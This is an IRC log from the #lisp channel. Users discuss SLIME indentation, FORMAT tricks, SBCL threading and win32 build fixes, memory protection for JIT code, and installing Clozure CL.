#lisp 18:41:31 bighouse [n=bighouse@modemcable012.160-131-66.mc.videotron.ca] has joined #lisp 18:42:49 -!- pk_ [n=pk@AGrenoble-257-1-48-15.w86-206.abo.wanadoo.fr] has quit [Remote closed the connection] 18:45:43 Odin- [n=sbkhh@s121-302.gardur.hi.is] has joined #lisp 18:49:07 dysinger [n=tim@cpe-75-80-200-182.hawaii.res.rr.com] has joined #lisp 18:49:58 rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has joined #lisp 18:50:46 KalifG [n=user@166.128.179.171] has joined #lisp 18:58:07 Hun [n=hun@pd956be5d.dip0.t-ipconnect.de] has joined #lisp 18:58:18 -!- jonaskoelker [n=jonas@ip-30-5.bnaa.dk] has left #lisp 19:02:54 athos [n=philipp@92.250.204.223] has joined #lisp 19:05:49 ramkrsna [n=ramkrsna@unaffiliated/ramkrsna] has joined #lisp 19:06:02 -!- KalifG [n=user@166.128.179.171] has quit [Success] 19:06:14 KalifG [n=user@166.128.179.171] has joined #lisp 19:06:24 manuel__ [n=manuel@krlh-4d034601.pool.mediaWays.net] has joined #lisp 19:07:09 -!- manuel__ [n=manuel@krlh-4d034601.pool.mediaWays.net] has quit [Client Quit] 19:08:05 -!- gzip4 [n=xxx@78.108.73.250] has quit [Read error: 60 (Operation timed out)] 19:10:41 Strange. SLIME is suddenly indenting the first line of DEFPACKAGE and DEFSYSTEM forms further than the remaining lines. 19:12:16 lhz [n=shrekz@c-db43e455.021-158-73746f34.cust.bredbandsbolaget.se] has joined #lisp 19:14:57 dagnachew [n=dagnache@modemcable207.114-201-24.mc.videotron.ca] has joined #lisp 19:16:52 -!- cheatcountry [n=cheatcou@cpe-72-181-114-9.satx.res.rr.com] has quit ["Leaving."] 19:17:52 -!- dihymo [n=dihymo@97-124-44-35.phnx.qwest.net] has quit [Remote closed the connection] 19:23:22 -!- stassats` [n=stassats@wikipedia/stassats] has quit [Read error: 104 (Connection reset by peer)] 19:23:50 Aankhen``: Which first line? 19:23:55 -!- stepnem_ [n=chatzill@topol.nat.praha12.net] has quit [Read error: 104 (Connection reset by peer)] 19:24:49 I think that's the standard bogoid emacs indentation rule for anything that begins with "def" 19:24:52 stassats [n=stassats@wikipedia/stassats] has joined #lisp 19:24:58 -!- davazp [n=user@121.Red-79-152-91.dynamicIP.rima-tde.net] has quit [Remote closed the connection] 19:25:06 massively annoying in :default-initargs clauses for classes, among other things 19:25:57 You mean that the package name is indented further to the right than the clauses? 19:26:38 (actually defpackage here is OK. defsystem isn't) 19:27:19 works the same for me here 19:30:52 tcr: Sorry, I meant in (DEFPACKAGE #:FOO\n(:USE #:BAR)\n...more stuff...), the :USE clause is indented much further than the remaining clauses, whereas earlier all the clauses were indented the same amount. 19:31:22 Where "earlier" is somewhere in the middle of January, I think, but I'm trying to narrow it down. 19:31:23 -!- dagnachew [n=dagnache@modemcable207.114-201-24.mc.videotron.ca] has quit ["Leaving"] 19:31:51 Aankhen``: you might get different results if you are connected to a lisp from those when you are not 19:32:01 mattrepl [n=mattrepl@c-76-104-2-182.hsd1.va.comcast.net] has joined #lisp 19:32:06 Krystof: I did consider that, but the effect is the same in both cases. 19:32:15 I've never encountered that behaviour 19:32:42 Except I do not use uppercase symbol names 19:32:50 Ah. Apparently I shouldn't be using slime-indentation. 19:32:56 Sorry for the false alarm. It works now 19:33:02 things get OK when you connect, but perhaps it somehow depends on the implementation? 19:33:02 -!- user___ [n=user@p54925B34.dip.t-dialin.net] has left #lisp 19:33:11 oh 19:33:20 tcr: That was just to make the CL code stand out. I don't use uppercase symbols in my actual code. 19:33:38 Aankhen``: Well that's a bug in slime-indentation supposedly. I do not use that contrib. Luis does, perhaps he's inclined to look at that issue 19:33:45 if there's one thing programmers are good at, it's explaining arbitrary phenomena :) 19:34:21 M-x butterfly 19:34:31 tcr: Looking at the slime-indentation contrib, it seems to be the expected behaviour, since there's no special case for DEFPACKAGE or DEFSYSTEM. I guess earlier I didn't have slime-indentation in my list of contribs, but for some reason I added it. 19:34:47 (IOW: PEBKAC.) 19:34:56 Hey. Is there some magic format code to have it output some fancy amount of on character. like oh I dunno (format t "~#&$" 12 #\s) ? 19:35:06 one 19:35:29 Aankhen``: I'm not sure why it's indented like that. The arglist of DEFPACKAGE, or DEFSYSTEM does not indicate such indentation. 19:35:38 scheme - you want a formatting code that translates #\s to "one" ? 19:36:06 tcr: Now that I couldn't say. :-) Maybe it's just a preference. *shrugs* 19:36:08 segv_: If you're here, and you care, perhaps you want to look at that, too. 19:37:09 ayrnieu: I think he wants a formatting directive that repeats the argument. 19:37:14 At least, that's how I read it. 19:37:22 ayrnieu: No. I want that to give me "ssssssssssss" 19:37:27 tcr: Anyway, thanks for the help. Sorry again for the false alarm. 19:37:56 ayrnieu: 12 #\s :) 19:38:28 (make-string 12 :initial-element #\s) 19:38:56 scheme - oh. No. 19:38:57 stassats: That's not really a format code ? 19:39:03 RIght. 19:39:12 (format t "~a" (make-string 12 :initial-element #\s)) 19:39:15 that's too bad. MAKE-STRING is so unpretty :) 19:39:24 stassats: Yes, and it's horrific. 19:39:36 there was some way, as far as i remember 19:39:56 I was poking around with the conditionals and what not. Didn't get anywhere nice. 19:40:06 No biggie, just random curiosity :) 19:40:33 (with-perl (format t "~A" (x #\s 12))) 19:40:57 Heh. 19:41:12 ;) 19:41:26 If you don't mind having a 0 at the end, (format t "~10,'sD" 0) 19:41:45 Hmm.. 19:42:04 How do I supply the count though? 19:42:10 Well nevermind. 19:42:47 -!- winlow [n=jon@c-98-201-171-136.hsd1.tx.comcast.net] has quit [Read error: 60 (Operation timed out)] 19:42:53 (format t "~12,,,'s<>") 19:42:58 I wonder if that works. 19:43:15 -!- dwave [n=ask@213.236.208.247] has quit ["Be back later"] 19:43:31 s/>/~>/ 19:43:53 -!- gonzojive [n=red@fun.Stanford.EDU] has quit [] 19:44:04 (format t "~V,,,V<~>" 12 #\s) 19:44:14 Er, yeah, with that change. 19:44:18 V_V 19:44:24 Seems to work, anyway. With a hard-coded parameter. 19:44:44 manuel__ [n=manuel@port-92-205-2-225.dynamic.qsc.de] has joined #lisp 19:44:48 And with dynamic parameters too. 19:44:48 Yay. 19:45:17 schme: Like stassats said, (format t "~V,,,V<~>" 12 #\s) works just fine. Now the question is, was it really worth it? :-P 19:45:37 -!- dcjackson_ [n=dcj@dcjmacbookpro.clark-communications.com] has quit [] 19:47:05 Wow I totally need to check that out. 19:48:12 My gosh, yes. 19:48:21 *schme* bows before the glory that is stassats. 19:48:38 well, thank Aankhen`` 19:48:52 he came up with the solution 19:49:00 I say (format nil "~V,,,V<~>~a ~d" foo "foo" bar) rocks (make-string ..) anyday. 19:49:06 Aankhen``: Very nice work there! 19:49:15 stepnem [n=stepnem@topol.nat.praha12.net] has joined #lisp 19:49:24 Happy to help. 19:50:16 guaqua [i=gua@xob.kapsi.fi] has joined #lisp 19:51:48 -!- jao [n=jao@252.Red-79-155-155.dynamicIP.rima-tde.net] has quit [Remote closed the connection] 19:52:54 -!- stepnem [n=stepnem@topol.nat.praha12.net] has quit [Client Quit] 19:53:13 stepnem [n=stepnem@topol.nat.praha12.net] has joined #lisp 19:58:42 -!- stepnem [n=stepnem@topol.nat.praha12.net] has quit ["Leaving"] 19:59:41 stepnem [n=stepnem@topol.nat.praha12.net] has joined #lisp 20:00:04 Davidbrcz [n=david@ANantes-151-1-69-36.w81-250.abo.wanadoo.fr] has joined #lisp 20:01:34 -!- xan is now known as xan-afk 20:04:31 haimez [n=haimez@c-76-104-23-233.hsd1.va.comcast.net] has joined #lisp 20:04:46 -!- Quadrescence [n=quad@unaffiliated/quadrescence] has quit [Remote closed the connection] 20:05:58 dwave [n=ask@084202075100.customer.alfanett.no] has joined #lisp 20:09:52 -!- stepnem [n=stepnem@topol.nat.praha12.net] has quit ["Leaving"] 20:10:04 jao [n=jao@252.Red-79-155-155.dynamicIP.rima-tde.net] has joined #lisp 20:10:06 stepnem [n=stepnem@topol.nat.praha12.net] has joined #lisp 20:11:32 loxs [n=loxs@213.91.162.124] has joined #lisp 20:12:48 anyone here familiar with bknr? 20:13:42 H4ns should be familiar 20:14:31 I suppose availability at the moment is also key :) 20:16:08 i don't think there are so many bknr users here, so you'll need to wait 20:16:18 -!- semyon [n=semyon@217.67.122.44] has quit [Read error: 110 (Connection timed out)] 20:16:21 -!- easch_ is now known as easch 20:20:01 haimez: I've used bknr before. I might not be able to answer, though. What's the question? 20:20:44 I had bknr up and working as of yesterday but it wouldn't thread because I didn't compile SBCL to do that 20:21:03 I recompiled SBCL with threading today and ran the tests 20:21:26 haimez: Did you recompile bknr as well? 20:21:28 and now bknr won't run because the bordeaux threads component won't install 20:22:14 bknr recompiles on each launch I thought 20:24:12 -!- BrianRice [n=briantri@c-98-225-51-246.hsd1.wa.comcast.net] has quit [] 20:25:54 That I wouldn't know. 20:26:30 I do know that if you change SBCL versions or build options, especially to/from sb-thread, all fasls need rebuilding. 20:26:52 how do I go about doing that? 20:26:55 just delete them? 20:27:01 Typically, yes. 20:27:14 are you saying all fasl's globally? 20:27:21 or just one's in the bknr directory 20:27:48 It kindof depends on things like if you're using asdf-binary-locations, if you're keeping the old sbcl around for use, etc. 20:28:36 I'm pretty noobish you just went over my head 20:28:44 what's the benefit of keeping non threaded SBCL around? 20:29:08 sykopomp: Out of curiosity, are you still working on Sheeple? 20:29:21 Wait, I think I got the name wrong. 20:29:40 Different performance curve, different set of considerations for I/O processing, etc. 20:30:10 I'm not at the point where that would matter 20:30:12 :) 20:30:17 Fair enough. 20:30:46 Oh, no, I got the name right. 20:31:42 MrSpec [n=NoOne@82.177.125.6] has joined #lisp 20:31:46 Has anyone here installed axiom? 20:31:54 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [] 20:32:03 I think I've made a big enough mess of my linux install so far to warrant a reinstall anyway 20:32:06 Hello 20:32:15 I'm using f10 x86_64 20:32:31 recommendations on any other OS that installs from USB that might be better? 20:33:55 haimez - SBCL only has threads on x86/64 linux, x86 solaris, and x86 OSX. 20:34:04 f10 x86. Performance is much better. 20:34:44 Adamant [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 20:36:13 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [Client Quit] 20:37:53 ayrnieu: and x86-64 osx, x86 and x86-64 freebsd 20:38:13 lispm [n=joswig@e177152053.adsl.alicedsl.de] has joined #lisp 20:38:34 how does freebsd compare to your ubuntu's and fedoras? 20:38:38 I'm just reading the comment in INSTALL 20:40:39 haimez - probably a vastly better userland, depending on your tastes. 20:41:30 and with the freebsd route, x86_64 or x86? 20:42:53 *Aankhen``* runs SBCL on FreeBSD (32-bit), FWIW. 20:42:56 No issues so far. 20:43:02 It's in a VM, too. 20:44:10 I've done the VM'ing route 20:44:28 VM + vista (and all the stuff I'm tempted to run in vista in the background while VM'ing) 20:44:33 is too slow 20:44:36 :) 20:44:58 You have Vista in the VM or as the host? 20:45:22 <_3b> Krystof: current sbcl (from repo.or.cz git at least) doesn't build on win32 20:45:29 My original setup was Vista as the host with FBSD in a VM. Worked like a charm on a laptop with a rather low-power Core processor. 20:46:09 -!- Davidbrcz [n=david@ANantes-151-1-69-36.w81-250.abo.wanadoo.fr] has quit ["Ex-Chat"] 20:46:26 _3b: ok, can you fix it? 20:46:29 I've OpenBSD in vmware in OSX, for the last few days, and pretty much live here. (OpenBSD has SBCL, CLISP, and ABCL. Only ABCL has threads. ECL *ought* to port, but doesn't). 20:47:03 <_3b> Krystof: i can try, but i don't really have ny way of knowing if i'm fixing it correctly 20:47:07 -!- Aankhen`` [n=heysquid@122.162.171.120] has quit ["Cryptanalysis doesn't break cryptosystems. Bruce Schneier breaks cryptosystems."] 20:47:45 *_3b* doesn't really know win32 api or sbcl internals very well 20:48:15 and ABCL isnt that slow lately with good jvms 20:48:40 dmiles_afk: is it stable / complete enough? 20:48:54 stassats: it passes the ANSI-TESTS pretty well now 20:49:08 <_3b> Krystof: also, it might be nice to have ROOM fixed the rest of the way for .26 20:49:53 now, since i have java, i'll try to install it 20:49:59 stassats: but maybe there is more than just passing the ANSI-TESTs that make completeness 20:50:19 ... Wasn't there a Java OS project for PCs a while ago? Did that ever work? 20:50:33 <_3b> Krystof: that isn't a regression against .25 though, so not sure if it is worth putting in despite freeze or not 20:51:11 I don't plan to do any development 20:51:16 nyef: maybe was used embedded devices? 20:51:33 No, definately a PC one. 20:51:38 I accept that I might have to write release notes 20:51:43 <_3b> Krystof: i posted a fix on sbcl-devel last week, no development needed :) 20:51:55 <_3b> (for the room part that is) 20:52:16 nyef: hrrm sometimes i wonder if windows vista runs on .net vm 20:52:28 it be a simular result 20:53:57 In regards to SBCL on OpenBSD: I thought OpenBSD had W^X which would prohibit dynamic compiling of code. Am I incorrect on this? 20:54:57 jso: No-execute doesn't get in the way on Win32, I don't see why OBSD wouldn't have some way around it. 20:57:10 jso: PROT_EXECUTE given to mmap() 20:57:22 *PROT_EXEC 20:57:56 W^X, DEP, etc. are against execution of data areas, those which you didn't expect to run from 20:58:29 Yeah. But, I thought on OpenBSD W^X applied to all memory areas including executable segments. 20:58:41 jso: How you would then execute anything? :D 20:58:47 stassats - I've had some small problems with ABCL, so one advantage of it is that it the whole system compiles very quickly. 20:59:04 Now, that's not to say that we couldn't do something clever with segregating code objects into their own pages and having only those pages mapped execute. 20:59:52 p_l: by not writing to executable memory. You call an executable, the kernel sets up the memory area and the vm brings it in. Don't write to the code segment in memory, just the data/stack and everything would work out just fine. 21:00:47 -!- haimez [n=haimez@c-76-104-23-233.hsd1.va.comcast.net] has quit [] 21:00:48 Note that executable pages from an ELF executable are typically mapped R/O to start with anyway. 21:01:15 jso: You just described how memory map looks without the process doing any interesting JIT stuff :) 21:02:03 p_l: correct. I read that certain projects didn't support OpenBSD because of that. I'm not arguing that I'm correct. Just clarifying my misunderstanding. 21:02:15 ayrnieu: 2 minutes, not so fast 21:02:29 stassats - compile it again. 21:02:31 jso: I'm guessing no one of them read mmap(2) :) 21:02:35 -!- younder [i=jpthing@084202158137.customer.alfanett.no] has left #lisp 21:02:36 -!- loxs [n=loxs@213.91.162.124] has quit [Remote closed the connection] 21:03:02 Heh. Isn't this why SBCL wasn't ported to Win32? "The memory management is so -different-..." And it is, and it isn't. 21:03:05 p_l: Yeah, you're probably correct. 21:03:24 _3b: you may want to send the compilation errors to sbcl-devel 21:03:27 nyef: I also heard that most of the memory management functions on NT are very good :) 21:04:01 (except a certain set. Someone described it as "seein all the brilliance of basic VM operations and then seeing this fatass ugly thing") 21:04:15 p_l: They are, except for where they intersect with memory-mapped files or mapping the same page in two addresses at once. 21:04:45 loxs [n=loxs@213.91.162.124] has joined #lisp 21:04:53 *p_l* is setting up a windows dev. VM 21:05:06 On Linux, to reserve address space, we have to mmap /dev/zero, then mprotect to no-access. 21:05:21 On Windows, to reserve address space, we map MAP_RESERVE. 21:05:25 stassats - OK, that doesn't help. I was thinking of how quickly it fails when I made sleepy mistakes, last night. 21:05:51 CCL builds in 75 seconds 21:05:56 "It's our address space, but don't put any actual memory there, and give us an exception whenever it's accessed, thanks." 21:06:33 using one core, while java seems to use both 21:08:25 -!- dwave [n=ask@084202075100.customer.alfanett.no] has quit ["Be back later"] 21:08:46 nyef: How SBCL goes with randomized address space? 21:09:02 Adamant [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 21:09:27 Dunno. Wasn't someone else working on that in their copious spare time? 21:09:55 Adamant_ [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 21:10:01 Cause I'm installing a version of windows that uses a randomized vm... 21:10:15 I know that cold-core dynamic space relocation is reasonable, now that there are no bloody raw pointers to heap objects in the way. 21:10:17 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [Client Quit] 21:11:11 -!- Adamant_ [n=Adamant@unaffiliated/adamant] has quit [Client Quit] 21:11:54 -!- manuel__ [n=manuel@port-92-205-2-225.dynamic.qsc.de] has quit [] 21:15:02 Adamant [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 21:16:29 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [Client Quit] 21:17:25 iceman_ [n=iceman@121.223.198.16] has joined #lisp 21:18:46 p_l: Having just figured out what you're really asking, SBCL right now doesn't work very well at all with randomized mappings. On any platform, which can be a problem for the security-minded. 21:21:13 -!- bighouse [n=bighouse@modemcable012.160-131-66.mc.videotron.ca] has quit [Read error: 104 (Connection reset by peer)] 21:21:40 Adamant [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 21:22:08 bighouse [n=bighouse@modemcable012.160-131-66.mc.videotron.ca] has joined #lisp 21:23:09 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [Client Quit] 21:23:24 -!- xan-afk is now known as xan 21:24:14 <_3b> mega1: do you have some time to look at win32 build stuff now? 21:24:38 yes, maybe half an hour 21:25:47 <_3b> ok, i got it to the point of building the C code, let me paste those changed and you can see if they look sane... 21:28:37 <_3b> (as soon as i figure out how to get the diff i want out of git at least) 21:29:17 -!- loxs [n=loxs@213.91.162.124] has quit [Remote closed the connection] 21:29:21 nyef: Well, on NT6.1 there is a new variant of the PE format which enables randomized mapping (including libs) 21:31:02 Joy. 21:31:21 But at least we're an exe not a dll for the time being. 21:31:44 _3b pasted "win32 build fixes" at http://paste.lisp.org/display/76294 21:32:02 -!- rindolf [n=shlomi@bzq-219-139-216.static.bezeqint.net] has quit ["Leaving"] 21:32:19 <_3b> mega1: ok, that is what i have so far, not sure adding stubs for functions instead of IFDEFing out the uses is the correct way to handle things though 21:33:04 Yeah, it's the wrong way to do things on the whole, but if it gets it working for now... 21:33:06 evdekaldim [i=mucx@188.3.215.114] has joined #lisp 21:33:26 loxs [n=loxs@213.91.162.124] has joined #lisp 21:33:41 <_3b> with that the C code builds, and i get errors about sb!unix:sigpipe not being defined 21:33:57 -!- Nshag [i=user@Mix-Orleans-106-2-159.w193-248.abo.wanadoo.fr] has quit ["Quitte"] 21:34:42 <_3b> WARNINGs prevent sbcl from building, right? 21:34:52 In most cases, yes. 21:35:02 There are a few files with exemptions. 21:35:23 is there a way to get SBCL to complain about possible problems as much as possible? 21:35:33 -!- evdekaldim [i=mucx@188.3.215.114] has left #lisp 21:35:52 -!- lhz [n=shrekz@c-db43e455.021-158-73746f34.cust.bredbandsbolaget.se] has quit ["Leaving"] 21:36:01 set bigger font in emacs 21:36:07 sykopomp: I'd say (declare (optimize (nitpick 3))), but that clearly won't work... 21:36:18 -!- dysinger [n=tim@cpe-75-80-200-182.hawaii.res.rr.com] has quit [Read error: 104 (Connection reset by peer)] 21:36:20 dysinger [n=tim@cpe-75-80-200-182.hawaii.res.rr.com] has joined #lisp 21:36:29 Adamant [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 21:36:56 heh 21:37:20 I mean if there's a way to increase how much debug info it provides during compilation, but I guess that's probably a dumb question. 21:37:36 <_3b> in the same file (src/code/target-thread.lisp) there are also style-warnings about make-lisp-obj and sb!unix:unix-setsid undefined functions as well 21:37:43 -!- WarWeasle [n=brad@c-98-220-168-14.hsd1.in.comcast.net] has quit [Remote closed the connection] 21:37:58 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [Client Quit] 21:40:56 sykopomp: Well, declaring more speed gives you notes on where expensive things happen... Declaring more debug gives you more information at runtime for debugging... 21:41:01 Beyond that, I'm really not sure. 21:43:18 sykopomp: setting sb-c::*derive-function-types* to T gives the type inference more room to spot and optimize things. 21:44:16 H4ns1 [n=hans@p57A0F8CE.dip.t-dialin.net] has joined #lisp 21:45:22 sykopomp: (Optimizations that may not play well with later redefinitions on your part. So be cautious!) 21:45:29 haimez [n=Haimez@c-76-104-23-233.hsd1.va.comcast.net] has joined #lisp 21:46:08 tcr: yeah, I'm mostly trying to find anything that might be killing portability (I'm also trying to get CCL to run, with little success) 21:47:11 Adamant [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 21:47:34 Adamant_ [n=Adamant@c-71-226-66-93.hsd1.ga.comcast.net] has joined #lisp 21:47:35 -!- Adamant [n=Adamant@unaffiliated/adamant] has quit [Connection reset by peer] 21:48:15 sykopomp: on what platform? 21:48:43 fe[nl]ix [n=algidus@88-149-212-92.dynamic.ngi.it] has joined #lisp 21:49:28 stassats: linux32, but it should be fine. I'm reading through the CCL wiki and figuring it out. I'll ask later if I get stuck :) 21:50:43 not that i could answer them, just curious 21:51:24 mega1 annotated #76294 "sigpipe" at http://paste.lisp.org/display/76294#1 21:51:45 _3b: see this paste for the sigpipe 21:52:00 it may help. 21:52:03 ah ok. It's an issue with the path stuff it wants set up, not so much an issue with CCL itself (yet, at least...) 21:52:21 <_3b> mega1: ok, trying that 21:52:26 mega1: Is that to make sigpipe defined with a dummy value or not used on win32? 21:52:39 patrickmullen_ [n=patrickm@cpe-74-64-17-235.nyc.res.rr.com] has joined #lisp 21:53:26 nyef: no, is there no sigpipe on win32? 21:53:35 There are no signals on win32. 21:53:39 At all. 21:53:55 then my reading of 1.0.25 is wrong. 21:54:04 Cygwin has a signal emulation layer, but it's crap. 21:54:06 _3b: don't even try it 21:54:06 No signals that processes can send to other processes, anyway. 21:54:16 <_3b> ok 21:54:36 MSVCRT has some signal emulation as well, but it's even more crap. 21:55:04 nyef: Or you can install POSIX support and get the signals from kernel up... 21:55:23 Not going there. 21:55:42 It will be an interesting exercise, trying to make SBCL compiled with POSIX.DLL as system library 21:55:57 Signals in SBCL are a pile of damage that we're better off without on any platform that we can avoid them on. 21:56:05 hehe 21:57:33 is there any place that truly requires signals? 21:57:44 nyef: timers and interrupt-thread, did they work on win32 before? 21:58:00 mega1: Interrupt-thread never did, on account of being a thread function. 21:58:08 I mean on unithread. 21:58:09 I'd be surprised if timers did, but I really don't know. 21:58:50 oh, probably yes, because it was special cased. 22:00:09 dcjackson [n=dcj@208.68.111.250] has joined #lisp 22:00:10 _3b: just do #!-win32 (when (thread-interruptions *current-thread*) (kill-safely (thread-os-thread *current-thread*) sb!unix:sigpipe)) then for now 22:00:34 -!- paddy_mullen [n=patrickm@cpe-74-64-17-235.nyc.res.rr.com] has quit [Read error: 110 (Connection timed out)] 22:00:40 -!- patrickmullen_ [n=patrickm@cpe-74-64-17-235.nyc.res.rr.com] has quit ["This computer has gone to sleep"] 22:01:15 if anyone here knows anything about CCL: I'm trying to get it to run on linux32, and I only have the svn checkout. The build instructions say to use an existing ccl image, but I don't have one? 22:01:39 -!- H4ns [n=hans@p57A0E752.dip.t-dialin.net] has quit [Read error: 110 (Connection timed out)] 22:01:47 sykopomp: download one from SVN 22:01:55 'the svn checkout's that I've seen all had images in them. That's why they have different repos for freebsd, etc. 22:02:00 p_l: uhh, where is that? 22:02:46 sykopomp: there's one repo with sources, and other with full downloads. check on CCL's trac, there's an example path for darwin, just change that to linuxx86 22:03:12 ah-ha... 22:03:22 let me try that, then. 22:03:25 svn co http://svn.clozure.com/publicsvn/openmcl/release/1.3/darwinx86/ccl 22:03:25 that one works right after checkout on my box 22:03:38 s/darwin/linux/ 22:03:49 -!- slash_ [n=Unknown@p4FF0B246.dip.t-dialin.net] has quit ["leaving"] 22:04:31 <_3b> mega1: #+-win32 on the (when ... sb!unix:sigpipe ...) in interrupt-thread as well? 22:04:40 there it is. Thank you! 22:04:55 -!- loxs [n=loxs@213.91.162.124] has left #lisp 22:04:59 sykopomp: I experienced the same thing today :P 22:05:21 although for slightly different reasons :P 22:07:01 I tried 'build-implementation' from clbuild without having ccl installed... 22:07:22 haimez1 [n=Haimez@c-76-104-23-233.hsd1.va.comcast.net] has joined #lisp 22:09:54 azanar [n=azanar@dsl231-050-036.sea1.dsl.speakeasy.net] has joined #lisp 22:11:10 <_3b> mega1: seems to build OK with those #!-win32 added 22:12:06 mega1 annotated #76294 "for _3b" at http://paste.lisp.org/display/76294#2 22:12:24 maybe it's a bit more correct like this 22:12:39 do you mean it finishes the build? 22:12:45 <_3b> yes 22:13:03 okay so... what was that process to get lisp to run in a terminal as a server that slime can then connect to? 22:13:18 time to run two lisps at once! 22:13:32 -!- lispm [n=joswig@e177152053.adsl.alicedsl.de] has quit [] 22:13:34 sykopomp: start swank manually? 22:14:35 <_3b> mega1: trying a build with the pasted code now 22:15:13 -!- bohanlon [n=bohanlon@pool-71-184-223-212.bstnma.fios.verizon.net] has quit ["I fear that I must depart for now."] 22:15:38 -!- ramkrsna [n=ramkrsna@unaffiliated/ramkrsna] has quit ["Leaving"] 22:17:03 tritchey [n=tritchey@c-68-58-88-241.hsd1.in.comcast.net] has joined #lisp 22:17:13 <_3b> hmm, wonder if tests/run-tests has been broken on win32 since .13.1 or if something is wrong with my setup 22:18:38 ecraven [n=nex@140.78.42.103] has joined #lisp 22:19:40 bohanlon [n=bohanlon@pool-71-184-223-212.bstnma.fios.verizon.net] has joined #lisp 22:20:44 -!- haimez [n=Haimez@c-76-104-23-233.hsd1.va.comcast.net] has quit [Read error: 110 (Connection timed out)] 22:20:53 *mega1* goes to bed 22:21:09 mega1: Sleep well. 22:21:11 _3b: send the final diff to sbcl-devel 22:21:19 <_3b> mega1: ok 22:21:23 Quadrescence [n=quad@unaffiliated/quadrescence] has joined #lisp 22:21:23 thanks, nyef. Thanks, _3b. 22:22:57 <_3b> is run_sbcl () ( ... ) valid sh code? the ( ) instead of { } around the code specifically 22:23:12 -!- fe[nl]ix [n=algidus@88-149-212-92.dynamic.ngi.it] has quit ["Valete!"] 22:23:17 p_l: I have no idea how to do that. 22:23:19 *nyef* has no idea. 22:23:49 sykopomp: swank:create-server 22:23:58 <_3b> mega1: pasted code bulds as well, with the addition of a (declare (ignore thread)) 22:24:15 and first (load "~/slime/swank-loader.lisp") and (swank-loader:init) 22:24:34 and then M-x slime-connect 22:25:17 <_3b> presumably someone has run tests/run-tests.sh on some platform since .13.1 22:27:16 http://www.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_09_05 about shell 22:27:45 -!- durka42 [n=durka@130.58.192.22] has quit [] 22:27:47 -!- benny [n=benny@i577A0D76.versanet.de] has quit [Read error: 104 (Connection reset by peer)] 22:28:28 <_3b> stassats: so it should work then? 22:28:31 benny [n=benny@i577A0D76.versanet.de] has joined #lisp 22:28:50 as far as i understand that link, yes 22:28:59 -!- v0|d` [n=user@a.ns.core.gen.tr] has quit [Read error: 110 (Connection timed out)] 22:30:50 <_3b> ok, maybe mingw bash is just too old or something 22:31:49 got it to work, thank you 22:32:50 pstickne [n=pstickne@c-24-21-76-57.hsd1.wa.comcast.net] has joined #lisp 22:33:20 -!- blbrown [n=Berlin@c-71-236-25-127.hsd1.ga.comcast.net] has quit ["Ex-Chat"] 22:33:36 <_3b> or maybe i just need newer msys 22:34:31 disumu [n=disumu@p54BCD3F2.dip.t-dialin.net] has joined #lisp 22:40:30 -!- mega1 [n=mega@3e70dafc.adsl.enternet.hu] has quit [Read error: 110 (Connection timed out)] 22:41:48 xx283 [n=xx@p4FD3C74A.dip.t-dialin.net] has joined #lisp 22:42:55 -!- ecraven [n=nex@140.78.42.103] has quit ["bbl"] 22:43:41 -!- malumalu_ [n=malu@hnvr-4dbb5332.pool.einsundeins.de] has quit ["Verlassend"] 22:44:15 -!- jewel [n=jewel@dsl-242-186-123.telkomadsl.co.za] has quit [Read error: 60 (Operation timed out)] 22:45:34 What's the most efficient and compatible way to represent binary strings? I've thought about a list with integers between 0 and 255. But something tells me this is grossly inefficient when it comes to dealing with a lot of binary data (e.g. encryption, compression). 22:45:55 vector 22:46:24 Vector of (unsigned-byte 8). 22:47:57 -!- dstatyvka [i=ejabberd@pepelaz.jabber.od.ua] has left #lisp 22:49:10 younder [n=jpthing@084202158137.customer.alfanett.no] has joined #lisp 22:50:43 -!- CrazyEddy [n=redresse@wrongplanet/CrazyEddy] has quit [Remote closed the connection] 22:50:53 -!- tst__ [n=tim@p4FD2BF87.dip.t-dialin.net] has quit ["leaving"] 22:55:29 -!- b4|hraban [n=b4@0brg.net] has quit ["Leaving"] 22:59:06 -!- Odin- [n=sbkhh@s121-302.gardur.hi.is] has quit [] 23:00:18 gonzojive [n=red@fun.Stanford.EDU] has joined #lisp 23:00:48 fe[nl]ix [n=algidus@88-149-212-92.dynamic.ngi.it] has joined #lisp 23:01:29 xx283: have a look how it's handled in ironclad. that lib is pretty fast 23:01:59 it uses vectors of unsigned-byte 8 23:02:52 CrazyEddy [n=CrazyEdd@wrongplanet/CrazyEddy] has joined #lisp 23:10:47 so... equalp doesn't detect circular references and just keeps crawling until the stack explodes? 23:11:00 yep 23:11:04 great 23:11:30 -!- hkBst [n=hkBst@gentoo/developer/hkbst] has quit [Read error: 104 (Connection reset by peer)] 23:17:36 well. It seems I have a bunch of circularity in a bunch of places that I guess SBCL just happened to conveniently compile away -- because it's making CCL explode :P 23:17:51 CCL seems really nice, though, and fast! 23:19:42 -!- Fufie [n=innocent@86.80-203-225.nextgentel.com] has quit [Read error: 110 (Connection timed out)] 23:20:10 I wonder if the client would react nicely to multithreaded http server that serves requests to loaded C++ dlls... written in Lisp 23:20:11 -!- abeaumont [n=abeaumon@195.230.105.2] has quit [Read error: 110 (Connection timed out)] 23:20:25 -!- xan is now known as xan-afk 23:21:04 -!- mooglenorph [n=marco@173.9.7.10] has quit [Read error: 104 (Connection reset by peer)] 23:22:57 Cowmoo` [n=Cowmoo@c-98-218-214-24.hsd1.va.comcast.net] has joined #lisp 23:23:43 -!- Cowmoo` [n=Cowmoo@c-98-218-214-24.hsd1.va.comcast.net] has quit [Remote closed the connection] 23:24:24 elias` [n=me@unaffiliated/elias/x-342423] has joined #lisp 23:24:37 X-Scale [i=email@2001:470:1f08:b3d:0:0:0:2] has joined #lisp 23:24:56 lyte 